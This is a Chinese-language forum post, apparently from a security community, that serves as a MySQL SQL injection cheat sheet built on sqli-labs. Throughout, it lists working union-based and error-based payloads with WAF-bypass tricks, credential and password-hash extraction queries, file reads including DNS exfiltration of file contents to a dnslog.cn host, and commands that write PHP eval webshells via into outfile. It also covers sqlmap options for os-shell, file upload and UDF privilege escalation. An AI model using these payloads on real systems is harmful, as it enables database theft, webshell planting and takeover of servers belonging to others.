其实sql注入已经是很久的问题,网上也有很多师傅和前辈总结的十分细致和详细,现在在谈,无非有点班门弄斧的感觉,但是阿鑫还是想借助这篇文章,系统性的帮助才入门的兄弟们总结一下,测试版本,php=5.6.9 mysql=5.5.29
联合注入(union select)
常见的思路就是order by查看字段数,然后基于union select 查询我们的数据库,从而拿到数据。
基于order by
当我们的order这一个字符串被waf过滤掉,我们可以使用group这一个字符串替代。

基于灵活变通,我们也可以内敛group,大小写等方法

?id=1 /*!50000group*/ by 4--+1

基于union select
当我们知道具体的字段了,先用order by找出数据库,我们就可以用union select出数据了。也拿sql-libs举例
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" //这是我们的payload
一.union select
1.运用%0a绕过(注释换行)

union -- hex()%0a select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+


2.基于内敛
(1)/!50000/里面的数字我们可以fuzzing,10000~50000,说不定其他版本的数字就可以
(2)内敛不仅仅可以数字,也可以用中文

union/*", 1 我S "*/select/*", 2 AS "*/1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+


3.基于辣鸡数据

and (select 1)=(Select 0xA*10)+UnIoN+SeLeCT+1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+


4.基于夹杂其他函数/字符串
(1)夹杂distinct

union distinct select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+


ps:我们的distinct可以换为distinctrow。此外,我们的distinct也可以内敛
union /!50000distinct/ select,渗透主要讲究的是变通,各种绕过
(2)利用all

and .1union all(select@1,group_concat(table_name),/*!50000~3*/ from information_schema.tables where table_schema="security")--+


ps:当然,我们的.1也可以编码。
(3)基于join函数

union select *FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt table_name from information_schema.tables where table_schema="security" limit 1,1)c--+


那么,我们的join也能内敛吗?当然是可以的哦!
(4)基于/N,{},等特殊符号

\Nunion(select 1,group_concat(table_name),\Nfrom information_schema.tables where table_schema="security")--+

union(select@`id`,2,(/*!50000select*/(table_name)from information_schema.tables where table_schema="security" limit 0,1))--+

union%23koo*/*bar%0D%0Aselect%23koo%0D%0A1,group_concat(@b:=`table_name`),3 from information_schema.tables where table_schema rlike "security"--+

%0D是回车,%0A是换行

5.对于参数的污染
uid=1&id=-2 id=-1+div+0 /&id=/ //就不截图了,参数污染配合上述的方法。
二.group_concat
(1)运用concat代替group_concat
concat不过需要配合limit,因为group_concat是一次性全部出完,concat是一次只出一个
ps:当然我们也可以在contact处加上反引号“~”

union select .1,`concat`(table_name),3 from information_schema.tables where table_schema="security" limit 0,1--+


(2)基于夹杂其他函数(concat_ws)

uniOn sEleCt 1,2,group_concat(`concat_ws`('@',table_name)separator '<br>') from information_schema.tables where table_schema="security"--+


当然我们的ws也可以用反引号引用起来。
三.from information_schema.tables = 系统函数
先说from
(1)利用科学计数法绕过

union select 1,group_concat(table_name),3e0from information_schema.tables where table_schema="security"--+


当然也可以内敛,3e0/!50000from/
(2)利用{}

union select 1,group_concat(table_name),3 FROM{x information_schema.tables} where table_schema="security"--+


information_schema.tables
还有上文说的/N
(1)反引号,就是esc底下的那个键,内敛

`information_schema`.`schemata`         `information_schema`.schemata             information_schema.`schemata `    information_schema/**/.schemata
table_name == @b:=`table_name`

=
(1)用like like被过滤还能用rlike,like也可以用内敛
系统函数

user()
user() =current_user = user/**/(/**/) = user-- (1)%0a()

version()
version() = `version`() = select name_const(version(),1),name_const(version(),1))x

database()
database()=(database/*!12345()*/)=convert(database/*!44444(*/),binary)


四.报错注入
细讲updatexml,其他报错方式表哥们可以依葫芦画瓢
1.updatexml
首先还是先说我们的payload
and updatexml(1,concat(0x7e,(select database()),0x7e),1)
(1)关于and,我们可以替换为or xor 也可以编码and = && or = || = | &=%26 还可以用!!!替代空格

xor!!!
/*!50000%7c*/


(2)关于updatexml
可以加-``这一类特殊符号

id=1 /*!50000%7c*/ -`updatexMl`(1,concat(0x7e,(select database()),0x7e),1)--+


(3)关于concat
加上特殊符号或者替换函数为make_set,ps,除了make_set,我们还有export_set()

?id=1 /*!50000%7c*/!!!/*!14400-`updatexMl`*/(1,/*!12345`maKe_set`*/(3,0x7e,(select database())),1)--+


(4)关于select
其实我们的select可以直接丢掉,就不截图了

id=1 /*!50000%7c*/!!!/*!14400-`updatexMl`*/(1,/*!12345`maKe_set`*/(3,0x7e,(database())),1)--+

(5)其他小tip
关于读取md5,我们一次性读不完,我们可以分片读取

and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 0,1),1,16),0x7e),1)--+


2.关于extractvalue
参照updatexml,在补充一条payload

id=1 LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
procedure%23koo*/*bar%0D%0Aanalyse%23koo%0D%0A(extractvalue(rand(),concat(0x3a,database())),1)--+


3.关于floor

and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
   and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from      
   information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+      //查表
   and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x7573657273 LIMIT 1,1)) 
   from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+    //查字段
   and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 7,1)) from information_schema.tables limit 
   0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+    //报数据
   and (select 1 from (select count(*),concat((select (concat(0x7c,MID(LOAD_FILE(0x633A5C626F6F742E696E69),1,63),0x7c)),floor (rand(0)*2))x from


其余如何组合参照updataxml
4.geometrycollection,multipoint,polygon,multipolygon,linestring,multilinestring

and geometrycollection((select * from(select * from(select database())a)b))--+
and geometrycollection((select * from(select * from(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1)a)b))--+
and geometrycollection((select * from(select * from(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1)a)b))--+
and geometrycollection((select * from(select * from(select concat(0x7e, password,0x7e) from users limit 1,1)a)b))--+
其余的都一样


5.exp

and exp(~(select * from(select database())a))--+
and exp(~(select * from(select concat(0x7e, (table_name),0x7e) from information_schema.tables where table_schema='security' limit 2,1)a))--+    //报表
and exp(~(select * from(select concat(0x7e, (column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1)a))--+    //报字段
and exp(~(select * from(select concat(0x7e, password,0x7e) from users limit 1,1)a))--+     //爆数据


6.bigint

and(select!x-~0.+from(select(select+group_concat(Version()))x)x)
and(select!x-~0.+from(select(select+group_concat(char(60,112,62),table_name)from+information_schema.tables+where+table_schema=database())x)x)--+        //查表
and(select!x-~0.+from(select(select+group_concat(char(60,112,62),column_name)from+information_schema.columns+where+table_name=0x7573657273+AND+table_schema=database())x)x)--+      //查字段
and(select!x-~0.+from(select(select+group_concat(char(60,112,62),username,0x203a20,password)from+security.users)x)x)--+     //出数据


7.double query based
和floor神似

or 1 group by concat_ws(0x7e,database(),floor(rand(0)*2)) having min(0) or 1--+
or 1 group by concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0) or 1--+
or 1 group by concat(0x7e,(select concat(column_name) from information_schema.columns where table_name=0x7573657273 limit 0,1),floor(rand(0)*2)) having min(0) or 1--+
or 1 group by concat(0x7e,(select concat(0x7e, password,0x7e) from users limit 1,1),floor(rand(0)*2)) having min(0) or 1--+


五.读写文件(前提是你的有读写的权限,sqlmap --privileges)

and (select count(*) from mysql.user)>0
and (select count(file_priv) from mysql.user)>0         //正常回显即有权限

如果secure_file_priv不为null,那么我们可以读写文件
读:
(1)基于sqlmap的--sql-shell
load_file('C:\Users\ASUS\Desktop\axgg.txt')
--file-read= //基于sqlmap的命令
(2)基于联合注入的语法

union select 1,load_file('C:/Users/ASUS/Desktop/axgg.txt'),3--+
union select 1,load_file(0x433A2F55736572732F415355532F4465736B746F702F617867672E747874),3--+

union select 1,load_file(char(99,58,47,98,101,111,116,76,105,114,105)),3--+
union select 1,hex(load_file(0x433A2F55736572732F415355532F4465736B746F702F632E747874)),3--+

(3)基于dns来查看

union select 1,2,load_file (concat('\\\\',hex((select load_file('C:/Users/ASUS/Desktop/axgg.txt'))),'.abg5ee.dnslog.cn\\test'))--+


(4)基于报错

and updatexml(1,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)--+
and extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e))--+
and updatexml(1,concat(0x7e,(select substr(load_file("D:/PHPWEB/MySQL Server 5.6/my.ini") from 1 for 32)),1),1)--+      //利用分片读数据
and updatexml(1,concat(0x7e,(isnull(LOAD_FILE('C:/Users/bc/Desktop/xuanxuan.txt'))),0x7e),0)        //判断有无文件,0则为有文件,null或者1表示没有


写:
(1)基于sqlmap的--sql-shell

select "<?php @eval($_POST[1]);?>" into outfile "D:\\wwwroot\\axgg\\js\\axgg.php";-- -

ps:前提是该注入支持堆叠
--file-write=本地文件 --file-dest=网站绝对路径
(2)基于联合注入的语法

union select null,null,"<?php @eval($_POST[a]);?>" into outfile "C:/Users/ASUS/Desktop/axgg1.txt"--+
union select null,null,0x3C3F70687020406576616C28245F504F53545B615D293B3F3E into outfile
union select null,null,"<?php @eval($_POST[a]);?>" into dumpfile
into outfile "C:/Users/bc/Desktop/b1b.txt" fields terminated by 0x3c3f70687020706870696e666f28293b3f3e--+
or '1'='1' limit 0,1 into outfile "C:/Users/ASUS/Desktop/b1b.txt" fields terminated by 0x3c3f70687020706870696e666f28293b3f3e--+
or+1=1+LIMIT+0,1+INTO+OUTFILE+'C:\\xampp\\htdocs\\xxxx\\uploads\\Ww2.php'+LINES+TERMINATED+BY+0x3c3f706870206576616c28245f504f53545b2761275d293b3f3e--+

ps:当然,还可以用lines terminated by,lines starting by这2个函数来替代
如果secure_file_priv为null
读:
利用LOAD DATA LOCAL

drop table mysql.m1    //先删除掉这个表
CREATE TABLE mysql.m1 (code TEXT );        //然后创建
LOAD DATA LOCAL INFILE 'C:/Users/bc/Desktop/xuanxuan.txt' INTO TABLE mysql.m1 fields terminated by ''        //读取文件
select * from mysql.m1        //查看文件


写:
不好突破,建议寻找phpmyadmin,或者adminer突破,通过慢日志等方法拿下。
五.联动sqlmap
其实现在基本都是手测有洞,然后放在sqlmap里面跑,但是有些时候手测可以出数据,但是sqlmap跑不出来,这个时候需要合理的运用sqlmap
(1)参数
--random-agent 不管跑什么,加上这个肯定是有用的,测出数据库类型,什么类型得得注入,--dbms,--technique,如果前缀后缀有点特殊,我们还得--prefix "')" --suffix "--('"
(2)空格
有些时候sqlmap会自己编码,把空格编码,就导致payload访问直接404,所以的加一些参数--tamper=space2plus --skip-urlencode,但是有可能还是跑不出来,那可能就得自己改一下tamper了,平时跑不出来,可以用-v 3,查看我们的payload,到底哪里出了问题
(3)关于高权限拿shell
很多情况就是root权限,但是按照常规的方法拿shell总会遇见一些问题,阿鑫在这里稍微总结一下。
知道绝对路径,secure_file_priv不为null
(1)sqlmap --os-shell
(2)--file-write --file-dest= 写文件,写不进去可能是因为这个文件夹我们没有写的权限,换几个文件夹
(3)--sql-shell 支持堆叠的话,select "<?php @eval($_POST[1]);?>" into outfile "D:\axgg\123456.php";-- -
(4)用union select写文件
不知道绝对路径,secure_file_priv不为null
(1)如果是linux的机器,尝试去读httpd,apache等配置文件,运气好的话能读到
(2)读数据库密码,看数据库是否支持外连,如果能连上进一步在navacit进行udf提权会比在sqlmap执行好的多
(3)不支持外连,sqlmap,--sql-shell,select @@plugin_dir;查找plugin的位置,然后用--file-write --file-dest=上传
(4)用sql-shell读取mysql账号密码,如果解的出来,去找子域名,旁站,c段,端口(护卫神的,999),phpmyadmin,adminer,等,找到登录进去结束一半了。
不知道绝对路径,secure_file_priv为null
尝试LOAD DATA LOCAL INFILE能不能读取到,不能读取到看看能不能读取并破解mysql账号密码,能得话可以重复(4)方法,不能的话只能都密码后台操作,对于不熟悉的cms,如果开源,我们可以自己下载搭建,分析一下它的数据库,比如dz的数据库就有authkey,可以构造用户登录。如果后台拿不下的话可以考虑换换思路
就先写这么联合和报错吧,盲注下次写

点击收藏 | 4 关注 | 3
  • 动动手指,沙发就是你的了!
登录 后跟帖